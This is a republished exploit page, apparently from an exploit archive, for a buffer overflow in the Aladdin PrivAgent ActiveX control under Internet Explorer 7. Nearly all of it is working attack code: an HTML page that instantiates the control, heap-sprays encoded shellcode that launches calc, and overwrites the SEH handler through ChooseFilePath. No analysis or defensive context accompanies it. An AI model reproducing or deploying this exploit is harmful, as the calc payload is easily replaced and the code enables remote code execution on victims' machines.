Aladdin Knowledge Systems Ltd. Overflow

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Aladdin Knowledge Systems Ltd. Overflow

来源：vfocus.net 作者：Blake 发布时间：2013-10-16

<html>
<title>Aladdin Knowledge Systems Ltd. PrivAgent ActiveX Control Overflow</title>

<object classid='clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6' id='test'></object>
<script>

    // heap spray for IE7
    //calc - 196 bytes
    var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063');
    var bigblock = unescape('%u9090%u9090');
    var headersize = 20;
    var slackspace = headersize + shellcode.length;
    while (bigblock.length < slackspace) bigblock += bigblock;
    var fillblock = bigblock.substring(0,slackspace);
    var block = bigblock.substring(0,bigblock.length - slackspace);
    while (block.length + slackspace < 0x40000) block = block + block + fillblock;
    var memory = new Array();
    for (i = 0; i < 250; i++){ memory[i] = block + shellcode }

    buffer = "";
    while(buffer.length < 1224) buffer+="A";
    next_seh = "BBBB";
    seh = "\x0a\x0a\x0a\x0a";   // heap address
    junk = "";
    while (junk.length < 1700) junk+="D";

    var payload = buffer + next_seh + seh + junk;

   test.ChooseFilePath(payload);
</script>
</html>

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